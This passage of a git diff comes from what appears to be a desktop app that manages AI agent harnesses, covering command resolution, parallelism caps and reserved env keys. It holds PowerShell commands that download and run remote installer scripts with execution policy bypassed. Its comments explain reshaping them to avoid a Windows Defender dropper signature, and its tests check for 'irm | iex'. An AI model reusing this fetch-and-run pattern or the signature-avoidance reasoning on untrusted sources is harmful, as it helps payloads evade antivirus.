pub(crate) const DANGLING_HARNESS_PREFIX: &str = "DANGLING_HARNESS_ID:"; /// Extract the missing harness id from a `DANGLING_HARNESS_ID:` error. @@ -398,22 +392,16 @@ pub(crate) fn user_facing_harness_error(error: &str) -> String { } } -/// Summary-row display for a dangling harness id: shows the *missing* id so -/// the agent list tells the same story as spawn (which refuses with the -/// sentence above), rather than silently falling back to the default command -/// as if the agent were healthy. +/// Summary-row display for a dangling harness id: shows the *missing* id so the agent list +/// tells the same story as spawn rather than silently falling back to the default command. pub(crate) fn dangling_harness_display(id: &str) -> String { format!("harness (deleted): {id}") } /// Spawn-time variant of `record_agent_command` that returns a typed error when -/// a record's `runtime` id or its persona's `runtime` id is set but cannot be -/// resolved (i.e. the definition was deleted after the agent was created). -/// -/// Returns `Err("DANGLING_HARNESS_ID:")` so callers can surface the error -/// without falling through to `buzz-agent`. When there is no runtime id at all -/// the fallback to `default_agent_command()` is intentional (legacy agents -/// pre-date the unified harness model). +/// a record's `runtime` id or persona's `runtime` id is set but unresolvable +/// (definition deleted after agent was created). Returns `Err("DANGLING_HARNESS_ID:")`. +/// When there is no runtime id at all, falls through to `default_agent_command()` intentionally. pub fn try_record_agent_command( record: &crate::managed_agents::types::ManagedAgentRecord, personas: &[crate::managed_agents::types::AgentDefinition], @@ -430,12 +418,8 @@ pub fn try_record_agent_command( // Record-level runtime id: if set but unresolvable → typed error. if let Some(id) = record.runtime.as_deref() { - if let Some(cmd) = known_acp_runtime_exact(id).and_then(|r| r.commands.first().copied()) { - return Ok(cmd.to_string()); - } - if let Some(def) = crate::managed_agents::custom_harnesses::lookup_loaded_harness_by_id(id) - { - return Ok(def.command.clone()); + if let Some(cmd) = presets::command_for_runtime_id(id) { + return Ok(cmd); } return Err(format!("DANGLING_HARNESS_ID:{id}")); } @@ -444,15 +428,8 @@ pub fn try_record_agent_command( if let Some(persona_id) = record.persona_id.as_deref() { if let Some(persona) = personas.iter().find(|p| p.id == persona_id) { if let Some(id) = persona.runtime.as_deref() { - if let Some(cmd) = - known_acp_runtime_exact(id).and_then(|r| r.commands.first().copied()) - { - return Ok(cmd.to_string()); - } - if let Some(def) = - crate::managed_agents::custom_harnesses::lookup_loaded_harness_by_id(id) - { - return Ok(def.command.clone()); + if let Some(cmd) = presets::command_for_runtime_id(id) { + return Ok(cmd); } return Err(format!("DANGLING_HARNESS_ID:{id}")); } @@ -1136,7 +1113,7 @@ pub fn missing_command_message(command: &str, role: &str) -> String { } format!( - "{role} `{command}` was not found. Build the workspace binaries (`cargo build --release --workspace`) or add `target/release` to PATH as described in TESTING.md." + "{role} `{command}` was not found. Make sure it is installed and on your PATH. Antivirus software can quarantine bundled binaries — if that happened, restore the file or reinstall Buzz. (Source builds: see TESTING.md.)" ) } @@ -1413,6 +1390,9 @@ fn discover_acp_runtime_phase1(runtime: &'static KnownAcpRuntime) -> PartialEntr model_env_var: runtime.model_env_var.map(str::to_string), provider_env_var: runtime.provider_env_var.map(str::to_string), thinking_env_var: runtime.thinking_env_var.map(str::to_string), + max_tokens_env_var: runtime.max_tokens_env_var.map(str::to_string), + context_limit_env_var: runtime.context_limit_env_var.map(str::to_string), + max_rounds_env_var: runtime.max_rounds_env_var.map(str::to_string), install_hint, install_instructions_url: install_instructions_url.to_string(), can_auto_install, @@ -1423,8 +1403,8 @@ fn discover_acp_runtime_phase1(runtime: &'static KnownAcpRuntime) -> PartialEntr auth_status: AuthStatus::Unknown, login_hint: None, source: HarnessSource::Builtin, - // Builtin entries have no user-editable env; definition_env is empty. definition_env: Default::default(), + max_parallelism: super::parallelism::harness_max_parallelism(runtime.id), }, } } @@ -1571,6 +1551,9 @@ pub fn discover_acp_runtimes_from( model_env_var: None, provider_env_var: None, thinking_env_var: None, + max_tokens_env_var: None, + context_limit_env_var: None, + max_rounds_env_var: None, install_hint: def.install_hint.clone(), install_instructions_url: def.install_instructions_url.clone(), // Security line: custom definitions carry no install scripts. @@ -1582,9 +1565,8 @@ pub fn discover_acp_runtimes_from( auth_status: AuthStatus::NotApplicable, login_hint: None, source: HarnessSource::Custom, - // Carry definition env into the catalog so the edit form can - // read it back — prevents silently erasing env on save. - definition_env: def.env.clone(), + definition_env: def.env.clone(), // preserve for edit round-trip + max_parallelism: super::parallelism::harness_max_parallelism(&def.command), }); } } diff --git a/desktop/src-tauri/src/managed_agents/discovery/presets.rs b/desktop/src-tauri/src/managed_agents/discovery/presets.rs index 72c4657dc7..d86e5f33f0 100644 --- a/desktop/src-tauri/src/managed_agents/discovery/presets.rs +++ b/desktop/src-tauri/src/managed_agents/discovery/presets.rs @@ -67,6 +67,9 @@ pub(super) fn preset_catalog_entry( model_env_var: None, provider_env_var: None, thinking_env_var: None, + max_tokens_env_var: None, + context_limit_env_var: None, + max_rounds_env_var: None, install_hint: def.install_hint.to_string(), install_instructions_url: def.install_instructions_url.to_string(), can_auto_install: false, @@ -79,6 +82,10 @@ pub(super) fn preset_catalog_entry( login_hint: None, source: HarnessSource::Preset, definition_env: Default::default(), + // Derived from the static preset command (`def.command`). This ensures + // unavailable entries (command: null in JSON, None here) still carry + // the cap — the harness cap is command-keyed, not availability-gated. + max_parallelism: crate::managed_agents::harness_max_parallelism(def.command), } } @@ -106,7 +113,7 @@ pub(super) const PRESET_HARNESSES: &[PresetHarness] = &[ label: "Oh My Pi", command: "omp", args: &["acp"], - install_instructions_url: "https://github.com/can1357/oh-my-pi", + install_instructions_url: "https://omp.sh/", install_hint: "Buzz talks to Oh My Pi through its CLI's ACP mode (omp acp).", underlying_cli: None, }, @@ -199,6 +206,76 @@ pub(crate) fn preset_harness_ids() -> &'static [&'static str] { .as_slice() } +/// Return the primary command for a preset harness by id, or `None` if the id +/// is not a known preset. +/// +/// Returns a `&'static str` so callers can use it without allocation. +pub(super) fn preset_command_for_id(id: &str) -> Option<&'static str> { + PRESET_HARNESSES + .iter() + .find(|p| p.id == id) + .map(|p| p.command) +} + +/// Return the primary harness command for a given runtime id, or `None`. +/// +/// Checks static builtins, then the static preset list (always available, +/// no registry warm-up required — covers openclaw, devin, cursor, etc.), +/// then the loaded preset/custom registry. +pub(crate) fn command_for_runtime_id(id: &str) -> Option { + super::known_acp_runtime_exact(id) + .and_then(|r| r.commands.first().copied()) + .map(str::to_string) + .or_else(|| preset_command_for_id(id).map(str::to_string)) + .or_else(|| { + crate::managed_agents::custom_harnesses::lookup_loaded_harness_by_id(id) + .map(|d| d.command.clone()) + }) +} + +/// Resolve a harness to its canonical command accepting either a runtime id or +/// a command string (including path prefixes and aliases). +/// +/// This is the pin-classification resolver for `apply_persona_snapshot`: the +/// create-time override in `record.agent_command_override` can hold any of the +/// forms a user or the harness selector might have stored — bare command +/// ("goose"), alias ("claude-code-acp"), path ("/usr/local/bin/goose"), or the +/// runtime id directly ("claude"). All three tiers are searched: +/// +/// 1. **Builtins** — `known_acp_runtime(input)` matches by id, command, or +/// alias in `KNOWN_ACP_RUNTIMES`; returns its first primary command. +/// 2. **Static presets** — searched by id or by normalised command. +/// 3. **Loaded registry** — searched by id or by normalised command. +/// +/// Returns `None` for inputs that do not resolve to any known harness; those +/// pins are treated as custom/unknown and always kept. +pub(crate) fn canonical_harness_command(input: &str) -> Option { + let normalized = super::normalize_command_identity(input); + + // Tier 1: builtins — matched by id, command, or alias. + if let Some(rt) = super::known_acp_runtime(&normalized) { + if let Some(cmd) = rt.commands.first() { + return Some(cmd.to_string()); + } + } + + // Tier 2: static presets — matched by id or by normalized command. + if let Some(p) = PRESET_HARNESSES + .iter() + .find(|p| p.id == normalized || super::normalize_command_identity(p.command) == normalized) + { + return Some(p.command.to_string()); + } + + // Tier 3: loaded registry — matched by id or by normalized command. + let reg = crate::managed_agents::custom_harnesses::loaded_harness_registry() + .read() + .unwrap_or_else(|e| e.into_inner()); + reg.iter() + .find(|d| d.id == normalized || super::normalize_command_identity(&d.command) == normalized) + .map(|d| d.command.clone()) +} + #[cfg(test)] mod tests { use std::path::PathBuf; @@ -332,4 +409,65 @@ mod tests { assert!(!entry.requires_external_cli); assert!(entry.underlying_cli_path.is_none()); } + + // ── Catalog max_parallelism: command-keyed execution policy ────────────── + + /// Unavailable OpenClaw (command not on PATH → command: null in JSON): + /// max_parallelism must still be Some(5) — derived from the static `def.command`, + /// not the probed `entry.command`. + #[test] + fn openclaw_preset_unavailable_carries_max_parallelism() { + let openclaw = PRESET_HARNESSES + .iter() + .find(|p| p.id == "openclaw") + .expect("openclaw preset must be present"); + + // Simulate "not installed" — resolver always returns None. + let entry = preset_catalog_entry(openclaw, |_| None); + assert_eq!(entry.availability, AcpAvailabilityStatus::NotInstalled); + assert!( + entry.command.is_none(), + "unavailable entry must have command: null" + ); + assert_eq!( + entry.max_parallelism, + Some(crate::managed_agents::parallelism::OPENCLAW_MAX_PARALLELISM), + "unavailable OpenClaw must still carry max_parallelism {}", + crate::managed_agents::parallelism::OPENCLAW_MAX_PARALLELISM + ); + } + + /// Available OpenClaw: max_parallelism present regardless of install status. + #[test] + fn openclaw_preset_available_carries_max_parallelism() { + let openclaw = PRESET_HARNESSES + .iter() + .find(|p| p.id == "openclaw") + .expect("openclaw preset must be present"); + + let entry = preset_catalog_entry(openclaw, |cmd| { + (cmd == openclaw.id || cmd == "openclaw") + .then(|| std::path::PathBuf::from("/usr/local/bin/openclaw")) + }); + assert_eq!( + entry.max_parallelism, + Some(crate::managed_agents::parallelism::OPENCLAW_MAX_PARALLELISM), + "available OpenClaw must carry max_parallelism {}", + crate::managed_agents::parallelism::OPENCLAW_MAX_PARALLELISM + ); + } + + /// Uncapped preset (devin): max_parallelism must be None. + #[test] + fn uncapped_preset_has_no_max_parallelism() { + let devin = PRESET_HARNESSES + .iter() + .find(|p| p.id == "devin") + .expect("devin preset must be present"); + let entry = preset_catalog_entry(devin, |_| None); + assert_eq!( + entry.max_parallelism, None, + "uncapped preset (devin) must have max_parallelism: None" + ); + } } diff --git a/desktop/src-tauri/src/managed_agents/discovery/runtime_metadata.rs b/desktop/src-tauri/src/managed_agents/discovery/runtime_metadata.rs index fdfe9b8be7..34edecdcd9 100644 --- a/desktop/src-tauri/src/managed_agents/discovery/runtime_metadata.rs +++ b/desktop/src-tauri/src/managed_agents/discovery/runtime_metadata.rs @@ -52,6 +52,8 @@ pub(crate) struct KnownAcpRuntime { pub max_tokens_env_var: Option<&'static str>, /// Env var for normalizing `context_limit`. `None` when not applicable. pub context_limit_env_var: Option<&'static str>, + /// Env var for normalizing `max_rounds`. `None` when not applicable. + pub max_rounds_env_var: Option<&'static str>, /// Normalized field keys that must be set for this harness to function. /// Used by the config bridge to mark fields as required in the UI. /// Keys match the camelCase names used in `NormalizedConfig` (e.g. "model", "provider"). diff --git a/desktop/src-tauri/src/managed_agents/discovery/windows_install.rs b/desktop/src-tauri/src/managed_agents/discovery/windows_install.rs new file mode 100644 index 0000000000..09e27a62be --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/discovery/windows_install.rs @@ -0,0 +1,225 @@ +//! Defender-safe construction of the Windows PowerShell CLI install commands. +//! +//! # Why the shape matters +//! +//! Windows Defender's ML classifier flags the bare `irm | iex` command +//! line as `Trojan:Win32/Commando.A!ml` — piping a downloaded string straight +//! into `Invoke-Expression` is a textbook dropper signature, so the *command +//! line itself* is scored, independent of what the URL actually serves. The +//! spawn is denied before PowerShell runs, surfacing as +//! `failed to spawn shell: Access is denied. (os error 5)`, and the block is +//! sticky: Defender's "Allow" button does not clear it. +//! +//! [`windows_install_command!`] emits the two-step form instead — download the +//! vendor script to a file, then execute the file — which does not match that +//! signature. All three runtimes use it, not only the one observed failing: +//! Goose and Claude escaped by scoring under the classifier threshold, which is +//! luck rather than design, and the threshold is not ours to depend on. +//! +//! # Why one macro instead of three literals +//! +//! The catalog needs `&'static str`, so the commands must be built at compile +//! time from literals. Emitting them from a single macro means the security +//! shape is defined once and cannot drift between runtimes as URLs change — +//! a per-runtime literal would let one entry silently regress to `iex`. +//! +//! # Exit-code fidelity +//! +//! [#2892](https://github.com/block/buzz/pull/2892) established that an install +//! step must not report success when the download failed. Two pieces preserve +//! that here, and both are load-bearing: +//! +//! - `$ErrorActionPreference='Stop'` makes a failed `Invoke-RestMethod` +//! terminate the whole command. Without it a failed download falls through to +//! `& $installer` on a path that does not exist, and PowerShell exits **0** — +//! the exact masking #2892 removed, in a new dress. `Stop` also prevents +//! executing a *stale* installer left in `$env:TEMP` by an earlier run. +//! - `exit $LASTEXITCODE` propagates the vendor script's own exit code. Without +//! it PowerShell reports its own status and a vendor failure of `3` flattens +//! to `1`, losing the distinction the retry logic reads. +//! +//! Verified against `pwsh` over a local HTTP server: vendor exit 3 surfaces as +//! 3, vendor exit 0 as 0, a 404 and an unresolvable host as non-zero, and a +//! planted stale installer is never executed. The old `irm | iex` shape +//! produces identical codes for all four, so this is not a behavior change. +//! +//! # Quoting contract +//! +//! The emitted body is wrapped in one double-quote pair, which +//! `install_powershell_command` strips before handing the body to PowerShell. +//! The body therefore uses **only single quotes** internally; a double quote +//! would terminate that pair early and truncate the command. + +/// Build the Windows CLI install command for one runtime. +/// +/// `slug` names the downloaded script (`buzz-install-.ps1`) so concurrent +/// installs of different runtimes cannot overwrite each other's file. The +/// optional third argument carries a runtime's env prefix (Goose's +/// `$env:CONFIGURE='false'; `) and must end with `; `. +/// +/// See the module docs for why each fragment is present. +macro_rules! windows_install_command { + ($slug:literal, $url:literal) => { + windows_install_command!($slug, $url, "") + }; + ($slug:literal, $url:literal, $env_prefix:literal) => { + concat!( + "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \"", + $env_prefix, + "$ErrorActionPreference='Stop'; ", + "$installer=Join-Path $env:TEMP 'buzz-install-", + $slug, + ".ps1'; ", + "Invoke-RestMethod ", + $url, + " -OutFile $installer; ", + "& $installer; ", + "exit $LASTEXITCODE\"", + ) + }; +} + +#[cfg(test)] +mod tests { + use crate::managed_agents::known_acp_runtime_exact; + + /// Every runtime that ships a Windows install command. `cli_install_commands_windows` + /// is read directly rather than through `cli_install_commands_for_os()` so these + /// assertions cover the Windows strings while running on the Linux CI host. + fn windows_install_commands() -> Vec<(&'static str, &'static str)> { + ["goose", "claude", "codex"] + .into_iter() + .flat_map(|id| { + known_acp_runtime_exact(id) + .expect("runtime must exist in the catalog") + .cli_install_commands_windows + .iter() + .map(move |command| (id, *command)) + }) + .collect() + } + + /// The whole point of the change: no runtime may carry the flagged + /// download-and-execute-in-one-line signature. + #[test] + fn test_no_windows_install_command_pipes_a_download_into_iex() { + for (id, command) in windows_install_commands() { + assert!( + !command.contains("| iex"), + "{id}: `irm | iex` is the shape Defender flags as Trojan:Win32/Commando.A!ml; \ + download to a file and execute the file instead. Got: {command}" + ); + assert!( + !command.contains("Invoke-Expression"), + "{id}: Invoke-Expression on downloaded content carries the same signature. \ + Got: {command}" + ); + } + } + + /// All three runtimes must be hardened, not just the one observed failing. + /// Goose and Claude escaped only by scoring under the classifier threshold. + #[test] + fn test_every_windows_install_command_downloads_to_a_file_then_executes_it() { + let commands = windows_install_commands(); + assert_eq!( + commands.len(), + 3, + "expected exactly one Windows install command for each of goose, claude, codex" + ); + for (id, command) in commands { + assert!( + command.contains("-OutFile $installer"), + "{id}: must download the vendor script to a file. Got: {command}" + ); + assert!( + command.contains("& $installer"), + "{id}: must execute the downloaded file. Got: {command}" + ); + assert!( + command.contains(&format!("buzz-install-{id}.ps1")), + "{id}: script name must be runtime-specific so concurrent installs of \ + different runtimes cannot overwrite each other. Got: {command}" + ); + } + } + + /// Guards the #2892 regression: without `Stop`, a failed download falls + /// through to a missing file and PowerShell exits 0, reporting a failed + /// install as a success. Without `exit $LASTEXITCODE`, the vendor's own + /// exit code is replaced by PowerShell's. + #[test] + fn test_every_windows_install_command_preserves_failure_exit_codes() { + for (id, command) in windows_install_commands() { + assert!( + command.contains("$ErrorActionPreference='Stop'"), + "{id}: a failed download must abort instead of running a missing or stale \ + installer and exiting 0 (see #2892). Got: {command}" + ); + assert!( + command.contains("exit $LASTEXITCODE"), + "{id}: the vendor script's exit code must propagate. Got: {command}" + ); + } + } + + /// `install_powershell_command` strips exactly one outer double-quote pair. + /// An inner double quote would close that pair early and truncate the body. + #[test] + fn test_every_windows_install_command_quotes_the_body_exactly_once() { + for (id, command) in windows_install_commands() { + let body = command + .split_once(" -Command ") + .map(|(_, body)| body) + .unwrap_or_else(|| panic!("{id}: command must pass a -Command body: {command}")); + assert!( + body.starts_with('"') && body.ends_with('"'), + "{id}: body must be wrapped in one double-quote pair. Got: {body}" + ); + assert_eq!( + body.matches('"').count(), + 2, + "{id}: body must contain no inner double quotes — one would terminate the \ + outer pair early and truncate the command. Got: {body}" + ); + } + } + + /// Goose's installer reads `CONFIGURE` to stay non-interactive; losing the + /// prefix hangs the install waiting on input that never comes. + #[test] + fn test_goose_windows_install_command_keeps_its_env_prefix() { + let goose = known_acp_runtime_exact("goose").unwrap(); + let command = goose.cli_install_commands_windows[0]; + assert!( + command.contains("$env:CONFIGURE='false'"), + "goose must stay non-interactive. Got: {command}" + ); + assert!( + command.find("$env:CONFIGURE='false'").unwrap() + < command.find("Invoke-RestMethod").unwrap(), + "the env prefix must be set before the installer runs. Got: {command}" + ); + } + + /// The vendor URLs are the payload; pin them so a refactor of the shared + /// shape cannot silently retarget a download. + #[test] + fn test_windows_install_commands_target_the_official_vendor_urls() { + for (id, expected) in [ + ( + "goose", + "https://raw.githubusercontent.com/aaif-goose/goose/main/download_cli.ps1", + ), + ("claude", "https://claude.ai/install.ps1"), + ("codex", "https://chatgpt.com/codex/install.ps1"), + ] { + let runtime = known_acp_runtime_exact(id).unwrap(); + let command = runtime.cli_install_commands_windows[0]; + assert!( + command.contains(&format!("Invoke-RestMethod {expected} -OutFile")), + "{id}: must download from {expected}. Got: {command}" + ); + } + } +} diff --git a/desktop/src-tauri/src/managed_agents/env_vars.rs b/desktop/src-tauri/src/managed_agents/env_vars.rs index 592a5cbbd9..9ca5fd080d 100644 --- a/desktop/src-tauri/src/managed_agents/env_vars.rs +++ b/desktop/src-tauri/src/managed_agents/env_vars.rs @@ -5,11 +5,13 @@ //! Precedence: desktop parent env < persona env < agent env (last wins on //! key collision). See `runtime::spawn_agent_child`. //! -//! A small set of *reserved* keys — Buzz's identity and secrets — are -//! rejected at save time and stripped at runtime so a typo or malicious -//! value can't swap the agent's nsec. Behavior knobs (GOOSE_MODE, BUZZ_ACP_MODEL, BUZZ_ACP_SYSTEM_PROMPT, …) remain -//! freely overridable — those have dedicated UI fields, but power users -//! may want to bypass them. +//! A small set of *reserved* keys includes Buzz's identity, secrets, security +//! gates, and control-plane values. Save-time validation rejects those keys. +//! Runtime filtering strips old persisted overrides. Behavior knobs +//! (GOOSE_MODE, BUZZ_ACP_MODEL, BUZZ_ACP_SYSTEM_PROMPT, …) remain freely +//! overridable. Power users can still bypass their dedicated UI fields. +//! `BUZZ_ACP_AGENTS` is reserved because Desktop applies harness-specific caps +//! before it writes the provider launch policy. use std::collections::BTreeMap; @@ -39,61 +41,9 @@ pub(crate) fn is_derived_provider_model_key(key: &str) -> bool { .any(|k| k.eq_ignore_ascii_case(key)) } -/// Env var keys that Buzz sets itself and users must not override from -/// the persona/agent env_vars UI. Three categories: -/// -/// 1. **Identity / secrets** — overriding would swap the agent's nsec or -/// leak credentials. -/// 2. **Code-execution surface** — overriding the binary/args lets the -/// user run arbitrary code as the agent process. -/// 3. **Security gates** — overriding the respond-to mode/allowlist or -/// relay URL would silently break the saved security settings (the UI -/// shows owner-only while the running agent answers anyone, for -/// example), or redirect the agent to an attacker-controlled relay. -/// -/// This list is deliberately narrow — it only covers keys with security -/// implications. Behavior knobs (GOOSE_MODE, BUZZ_ACP_MODEL, BUZZ_ACP_SYSTEM_PROMPT, …) remain freely -/// overridable; those have dedicated UI fields but power users may want -/// to bypass them. -pub(crate) const RESERVED_ENV_KEYS: &[&str] = &[ - // Identity / secrets. - "BUZZ_PRIVATE_KEY", - "NOSTR_PRIVATE_KEY", - "BUZZ_AUTH_TAG", - "BUZZ_API_TOKEN", - "BUZZ_ACP_PRIVATE_KEY", - "BUZZ_ACP_API_TOKEN", - // Relay URL: overriding would let a malicious config redirect the - // agent to an attacker-controlled relay. - "BUZZ_RELAY_URL", - // Code-execution surface: overriding would let the user run arbitrary - // binaries/args as the agent process. - "BUZZ_ACP_AGENT_COMMAND", - "BUZZ_ACP_AGENT_ARGS", - "BUZZ_ACP_MCP_COMMAND", - // Security gates: respond-to mode + allowlist + legacy owner-only - // fallback. Overriding would make the running agent's gate diverge - // from the saved/UI-visible settings. - "BUZZ_ACP_RESPOND_TO", - "BUZZ_ACP_RESPOND_TO_ALLOWLIST", - "BUZZ_ACP_AGENT_OWNER", - // Readiness handoff: desktop is the ONLY readiness source. A saved or - // ambient env var must not be able to forge setup mode (NotReady) on a - // Ready agent or suppress it (empty/stale payload) on a NotReady one. - "BUZZ_ACP_SETUP_PAYLOAD", - // Desktop ownership markers: these brand every spawned harness with the - // launching Desktop instance. A user-supplied override would let a - // definition masquerade as a different instance or fake the nonce used - // for same-session sweep decisions. - "BUZZ_MANAGED_AGENT", - "BUZZ_MANAGED_AGENT_START_NONCE", -]; - -pub(crate) fn is_reserved_env_key(key: &str) -> bool { - RESERVED_ENV_KEYS - .iter() - .any(|reserved| reserved.eq_ignore_ascii_case(key)) -} +// Canonical reserved-key list + predicate, shared verbatim with `build.rs`. +// See `reserved_env_keys.rs` for why this is `include!`d rather than a module. +include!("reserved_env_keys.rs"); /// Returns true if `key` is a well-formed POSIX-shaped env var name: /// `[A-Za-z_][A-Za-z0-9_]*`. This is a hard requirement, not a stylistic @@ -220,6 +170,28 @@ pub fn validate_user_env_keys(env_vars: &BTreeMap) -> Result<(), Ok(()) } +/// Returns `true` when `key` is safe to show verbatim — not a credential. +/// +/// Default-deny: every key NOT in this explicit allowlist is masked. Callers +/// that display env values (baked-env UI, spawn-diff tooltip) share this +/// single authority — no second list. +/// +/// Allowlist (case-insensitive): +/// - `BUZZ_AGENT_PROVIDER`, `BUZZ_AGENT_MODEL` — agent runtime selection +/// - `BUZZ_AGENT_THINKING_EFFORT` — non-secret enum (none/minimal/low/medium/high/xhigh/max) +/// - `DATABRICKS_HOST`, `DATABRICKS_MODEL` — Block non-secret defaults +pub(crate) fn is_safe_to_reveal(key: &str) -> bool { + const SAFE_KEYS: &[&str] = &[ + "BUZZ_AGENT_PROVIDER", + "BUZZ_AGENT_MODEL", + "BUZZ_AGENT_THINKING_EFFORT", + "DATABRICKS_HOST", + "DATABRICKS_MODEL", + ]; + let upper = key.to_ascii_uppercase(); + SAFE_KEYS.iter().any(|safe| upper == *safe) +} + /// Per-value byte cap for env values. 32 KiB is generous for credentials, /// JWT-ish tokens, certs etc., but small enough that a malformed IPC /// caller can't blow up the persona/agent JSON file. Tune up if real @@ -307,28 +279,5 @@ pub(crate) fn live_persona_env( .unwrap_or_default() } -/// Resolve live env_vars for a linked persona, loading personas from disk. -/// -/// Returns the persona's `env_vars` map if a persona_id is provided and found; -/// returns an empty map if no persona is linked. Errors if the linked persona -/// is missing. Used by the provider deploy path, which has no pre-loaded -/// persona slice. -pub(crate) fn resolve_persona_env( - app: &tauri::AppHandle, - persona_id: Option<&str>, -) -> Result, String> { - let Some(pid) = persona_id else { - return Ok(std::collections::BTreeMap::new()); - }; - let personas = super::load_personas(app).map_err(|e| { - format!("failed to load personas while resolving env for persona `{pid}`: {e}") - })?; - let persona = personas - .into_iter() - .find(|p| p.id == pid) - .ok_or_else(|| format!("persona `{pid}` not found while resolving env"))?; - Ok(persona.env_vars) -} - #[cfg(test)] mod tests; diff --git a/desktop/src-tauri/src/managed_agents/env_vars/tests.rs b/desktop/src-tauri/src/managed_agents/env_vars/tests.rs index cf57b12546..34cdfede2c 100644 --- a/desktop/src-tauri/src/managed_agents/env_vars/tests.rs +++ b/desktop/src-tauri/src/managed_agents/env_vars/tests.rs @@ -150,7 +150,11 @@ fn reserved_keys_include_respond_to_gate() { // Respond-to mode + allowlist control who the agent answers. // Overriding via env_vars would let the running agent answer // anyone even when the UI/record says owner-only. - for key in ["BUZZ_ACP_RESPOND_TO", "BUZZ_ACP_RESPOND_TO_ALLOWLIST"] { + for key in [ + "BUZZ_ACP_RESPOND_TO", + "BUZZ_ACP_RESPOND_TO_ALLOWLIST", + "BUZZ_ACP_ALLOWED_RESPOND_TO", + ] { assert!(is_reserved_env_key(key), "{key} should be reserved"); let agent = map(&[(key, "anyone")]); let merged = merged_user_env(&BTreeMap::new(), &agent); @@ -158,6 +162,15 @@ fn reserved_keys_include_respond_to_gate() { } } +#[test] +fn reserved_keys_include_remote_lifetime_policy() { + for key in ["BUZZ_ACP_EXIT_AFTER_INACTIVITY", "BUZZ_ACP_NO_PRESENCE"] { + assert!(is_reserved_env_key(key), "{key} should be reserved"); + let agent = map(&[(key, "0")]); + assert!(merged_user_env(&BTreeMap::new(), &agent).is_empty()); + } +} + #[test] fn reserved_keys_include_code_execution_surface() { // The agent/MCP command + args are what Buzz actually exec's. diff --git a/desktop/src-tauri/src/managed_agents/mod.rs b/desktop/src-tauri/src/managed_agents/mod.rs index be9b07cf11..fe90ce430f 100644 --- a/desktop/src-tauri/src/managed_agents/mod.rs +++ b/desktop/src-tauri/src/managed_agents/mod.rs @@ -1,7 +1,10 @@ +pub(crate) mod access_policy; mod agent_env; pub(crate) mod agent_events; pub(crate) mod agent_snapshot; +pub(crate) mod agent_snapshot_envelope; pub(crate) mod team_snapshot; +pub(crate) use access_policy::{owner_only, owner_only_access_build, projected_access_with_policy}; pub(crate) use agent_env::{ baked_build_env, build_buzz_agent_provider_defaults, discovery_env_with_baked_floor, }; @@ -15,6 +18,7 @@ pub(crate) mod git_bash; pub(crate) mod global_config; mod managed_node_paths; mod nest; +pub(crate) mod parallelism; mod persona_avatars; pub(crate) mod persona_events; mod personas; @@ -30,7 +34,7 @@ mod runtime; mod runtime_commands; mod runtime_types; pub(crate) mod snapshot_avatar; -pub(crate) mod spawn_hash; +pub(crate) mod spawn_snapshot; pub(crate) mod storage; pub(crate) mod team_events; mod team_repair; @@ -58,6 +62,7 @@ pub(crate) use global_config::{ }; pub(crate) use managed_node_paths::*; pub use nest::*; +pub use parallelism::{acp_agents_value, effective_parallelism, harness_max_parallelism}; pub use personas::*; #[cfg(windows)] pub use process_lifecycle::*; diff --git a/desktop/src-tauri/src/managed_agents/nest.rs b/desktop/src-tauri/src/managed_agents/nest.rs index c8f008836d..a57676f0a9 100644 --- a/desktop/src-tauri/src/managed_agents/nest.rs +++ b/desktop/src-tauri/src/managed_agents/nest.rs @@ -106,31 +106,6 @@ pub fn nest_dir() -> Option { } } -/// Returns `true` iff `path` ends with the dev-nest directory name (`.buzz-dev`). -/// -/// Pure function — no globals — so it can be unit-tested without touching the -/// process-lifetime [`NEST_DIR`] `OnceLock`. -fn path_is_dev_nest(path: &std::path::Path) -> bool { - path.file_name() - .and_then(|n| n.to_str()) - .map(|n| n == NEST_DIR_DEV) - .unwrap_or(false) -} - -/// Returns `true` when the running binary is using the dev nest (`~/.buzz-dev`). -/// -/// This is `true` for all dev builds — `just staging` and `just dev` — because -/// [`init_nest_dir`] is called with `is_dev = true` when the Tauri app-data -/// directory starts with `"xyz.block.buzz.app.dev"`. -/// -/// Returns `false` when: -/// - The nest is the production nest (`~/.buzz`, signed DMG). -/// - [`init_nest_dir`] has not been called yet (unit tests, home dir -/// unresolvable) — the fallback path is always the prod nest. -pub fn nest_is_dev() -> bool { - nest_dir().map(|p| path_is_dev_nest(&p)).unwrap_or(false) -} - /// Creates the Buzz nest at `~/.buzz` if it doesn't already exist. /// /// Delegates to [`ensure_nest_at`] with the resolved nest directory. diff --git a/desktop/src-tauri/src/managed_agents/nest/tests.rs b/desktop/src-tauri/src/managed_agents/nest/tests.rs index 031b049a49..cbef171f6f 100644 --- a/desktop/src-tauri/src/managed_agents/nest/tests.rs +++ b/desktop/src-tauri/src/managed_agents/nest/tests.rs @@ -923,39 +923,3 @@ fn refresh_skill_overwrites_on_version_bump() { "SKILL.md must be refreshed on version bump" ); } - -#[test] -fn test_path_is_dev_nest_dev_path_returns_true() { - let path = std::path::Path::new("/Users/someone/.buzz-dev"); - assert!( - path_is_dev_nest(path), - ".buzz-dev path must be identified as dev nest" - ); -} - -#[test] -fn test_path_is_dev_nest_prod_path_returns_false() { - let path = std::path::Path::new("/Users/someone/.buzz"); - assert!( - !path_is_dev_nest(path), - ".buzz path must not be identified as dev nest" - ); -} - -#[test] -fn test_path_is_dev_nest_unrelated_path_returns_false() { - let path = std::path::Path::new("/Users/someone/.buzz-staging"); - assert!( - !path_is_dev_nest(path), - "unrelated path must not be identified as dev nest" - ); -} - -#[test] -fn test_path_is_dev_nest_root_returns_false() { - let path = std::path::Path::new("/"); - assert!( - !path_is_dev_nest(path), - "root path must not be identified as dev nest" - ); -} diff --git a/desktop/src-tauri/src/managed_agents/parallelism.rs b/desktop/src-tauri/src/managed_agents/parallelism.rs new file mode 100644 index 0000000000..e1691575b1 --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/parallelism.rs @@ -0,0 +1,305 @@ +// ── Per-harness parallelism cap ─────────────────────────────────────────────── +// +// Contract: stored = requested; effective = min(requested, harness cap). +// +// `ManagedAgentRecord.parallelism` stores the user's requested value verbatim, +// never clamped at persistence. The cap is applied only where the value +// becomes a running worker-pool size: +// +// * local spawn — `BUZZ_ACP_AGENTS` in the child environment +// * remote deploy — `launch.policy_env["BUZZ_ACP_AGENTS"]` + legacy field +// * restart hash — `SpawnConfigSnapshot` stores the effective value +// * display copy — the UI derives effective for explanatory hints only +// +// `AgentDefinition.parallelism` is the portable requested value, unchanged +// at every boundary so it travels across devices and harness switches intact. + +/// Maximum 